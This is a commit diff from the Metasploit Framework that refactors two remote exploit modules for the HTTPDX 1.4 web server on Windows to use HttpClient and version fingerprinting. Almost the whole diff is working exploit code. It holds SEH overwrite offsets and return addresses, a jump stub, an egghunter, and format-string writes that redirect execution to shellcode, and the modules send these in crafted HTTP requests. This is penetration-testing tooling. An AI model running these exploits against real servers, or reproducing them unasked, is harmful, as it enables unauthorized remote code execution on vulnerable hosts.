convert modules to HttpClient, use http_fingerprint

git-svn-id: file:///home/svn/framework3/trunk@9700 4d416f70-5f16-0410-b530-b9f4589650da
unstable
Joshua Drake 2010-07-07 01:22:26 +00:00
parent dffd8c0c97
commit 81cce81969
2 changed files with 70 additions and 76 deletions

View File

@ -28,7 +28,7 @@ require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::Seh
def initialize(info = {})
@ -72,44 +72,50 @@ class Metasploit3 < Msf::Exploit::Remote
[ 'httpdx 1.4 - Windows XP SP3 English',
{
'Offset' => 476,
'Ret' => 0x63b81a07, # seh handler (pop/pop/ret in n.dll)
'Readable' => 0x63b80131 # early in n.dll
'Ret' => 0x63b81a07, # seh handler (pop/pop/ret in n.dll)
'Readable' => 0x63b80131 # early in n.dll
}
],
[ 'httpdx 1.4 - Windows 2003 SP2 English',
{
'Offset' => 472,
'Ret' => 0x63b81a07, # seh handler (pop/pop/ret in n.dll)
'Readable' => 0x63b80131 # early in n.dll
'Ret' => 0x63b81a07, # seh handler (pop/pop/ret in n.dll)
'Readable' => 0x63b80131 # early in n.dll
}
]
],
'DefaultTarget' => 0,
'DisclosureDate' => 'Oct 08 2009'
))
end
register_options( [ Opt::RPORT(80) ], self.class )
def auto_target
info = http_fingerprint
if info and (info =~ /httpdx\/(.*) \(Win32\)/)
ver = $1
#print_status("HTTPDX version detected : #{ver}")
# this will need to be updated if httpdx is ever fixed :)
case ver
when "1.4"
return targets[0]
end
end
nil
end
def check
connect
sock.put("GET / HTTP/1.0\r\n\r\n")
resp = sock.get_once
disconnect
# this will need to be updated if httpdx is ever fixed :)
if (resp and (m = resp.match(/Server: httpdx\/(.*) \(Win32\)/))) then
print_status("HTTPDX version detected : #{m[1]}")
if m[1] =~ /"1\.4"/
return Exploit::CheckCode::Appears
end
if (auto_target)
return Exploit::CheckCode::Vulnerable
end
return Exploit::CheckCode::Safe
Exploit::CheckCode::Safe
end
def exploit
connect
if not auto_target
raise RuntimeError, 'The server is not running a vulnerable version of HTTPDX'
end
uri = payload.encoded
if target['Offset'] > payload_space
@ -121,21 +127,22 @@ class Metasploit3 < Msf::Exploit::Remote
uri << Metasm::Shellcode.assemble(Metasm::Ia32.new, "jmp $-" + (target['Offset'] + 5).to_s).encode_string
# extra causing hitting end of the stack
uri << rand_text_alphanumeric(1024)
uri[620,4] = [target['Readable']].pack('V') # arg (must be readable)
sploit = rand_text(3) + "=" + uri
request = "GET /" + sploit + " HTTP/1.1\r\n"
sploit = '/' + rand_text(3) + '=' + uri
# an empty host header gives us 512 bytes in the client structure
# (client->filereq and client->host)
request << "Host: \r\n"
request << "\r\n"
# (the client->filereq and client->host buffers are adjacement in memory)
datastore['VHOST'] = ''
res = send_request_raw(
{
'uri' => sploit
}, 5)
print_status("Trying target #{target.name}...")
sock.put(request)
sock.close
disconnect
handler
end

View File

@ -14,7 +14,7 @@ require 'msf/core'
class Metasploit3 < Msf::Exploit::Remote
Rank = GreatRanking
include Msf::Exploit::Remote::Tcp
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Egghunter
include Msf::Exploit::FormatString
@ -22,7 +22,7 @@ class Metasploit3 < Msf::Exploit::Remote
super(update_info(info,
'Name' => 'HTTPDX tolog() Function Format String Vulnerability',
'Description' => %q{
This module exploits a format string vulnerability in HTTPDX HTTP server.
This module exploits a format string vulnerability in HTTPDX HTTP server.
By sending an specially crafted HTTP request containing format specifiers, an
attacker can corrupt memory and execute arbitrary code.
@ -102,6 +102,18 @@ class Metasploit3 < Msf::Exploit::Remote
'Writable' => 0x64f87810, # empty space in core.dll imports
'FlowHook' => 0x64f870e8 # core.dll import for strlen
}
],
#
# Debugging target
#
[ 'Debug target',
{
'PadBytes' => 2,
'NumPops' => 22,
'Writable' => 0xfeedfed5,
'FlowHook' => 0xdeadbeef
}
]
],
'DefaultTarget' => 0,
@ -124,28 +136,27 @@ If crashes occur referencing strange values, 'NumPops' probably needs adjusting.
For now, that will have to be done manually.
=end
register_options(
[
Opt::RPORT(80),
], self.class )
end
def check
version = get_version
if version
print_status("HTTPDX version detected : #{version}")
if version =~ /"1\.4"/
return Exploit::CheckCode::Appears
if (version =~ /1\.4/) or (version == "1.5")
return Exploit::CheckCode::Vulnerable
end
end
return Exploit::CheckCode::Safe
Exploit::CheckCode::Safe
end
def exploit
# an empty host header gives us 512 bytes in the client structure
# (the client->filereq and client->host buffers are adjacement in memory)
datastore['VHOST'] = ''
# Use a copy of the target
mytarget = target
@ -154,22 +165,21 @@ For now, that will have to be done manually.
print_status("Automatically detecting the target...")
version = get_version()
version = get_version
if not version
print_status("No matching target")
return
raise RuntimeError, 'The remote server is not running HTTPDX'
end
re = Regexp.new(Regexp.escape(version)+' - ', true)
self.targets.each do |t|
if (t.name =~ /#{version} - /) then
if (re.match(t.name))
mytarget = t
break
end
end
if (not mytarget)
print_status("No matching target")
return
raise RuntimeError, 'Unable to automatically detect exploitation parameters'
end
print_status("Selected Target: #{mytarget.name}")
@ -186,21 +196,12 @@ For now, that will have to be done manually.
# use the egghunter!
eh_stub, eh_egg = generate_egghunter
# write shellcode to 'writable' (all at once)
fmtbuf = generate_fmtstr_from_buf(num_start, mytarget['Writable'], eh_stub, mytarget)
fmtbuf = fmtbuf.gsub(/%/, '%25').gsub(/ /, '%20')
fmtbuf = '/' + fmtbuf.gsub(/%/, '%25').gsub(/ /, '%20')
print_status(" payload format string buffer is #{fmtbuf.length} bytes")
connect
request = "GET /"
request << fmtbuf
request << " HTTP/1.0\r\n"
request << "Host: \r\n"
request << "\r\n"
sock.put(request)
disconnect
send_request_raw({ 'uri' => fmtbuf })
# write 'writable' addr to flowhook (execute shellcode)
# NOTE: the resulting two writes must be done at the same time
@ -208,17 +209,10 @@ For now, that will have to be done manually.
# add payload to the end
fmtbuf << eh_egg * 2
fmtbuf << payload.encoded
fmtbuf = fmtbuf.gsub(/%/, '%25').gsub(/ /, '%20')
fmtbuf = '/' + fmtbuf.gsub(/%/, '%25').gsub(/ /, '%20')
print_status(" hijacker format string buffer is #{fmtbuf.length} bytes")
connect
request = "GET /"
request << fmtbuf
request << " HTTP/1.0\r\n"
request << "Host: \r\n"
request << "\r\n"
#print_status("\n" + Rex::Text.to_hex_dump(request))
sock.put(request)
send_request_raw({ 'uri' => fmtbuf })
disconnect
# connect again to trigger shellcode
@ -232,18 +226,11 @@ For now, that will have to be done manually.
def get_version
connect
sock.put("GET / HTTP/1.0\r\n\r\n")
resp = sock.get_once
disconnect
# this will need to be updated if httpdx is ever fixed :)
if (resp and (m = resp.match(/Server: httpdx\/(.*) \(Win32\)/))) then
return m[1]
info = http_fingerprint
if info and (info =~ /httpdx\/(.*) \(Win32\)/)
return $1
end
return nil
nil
end
end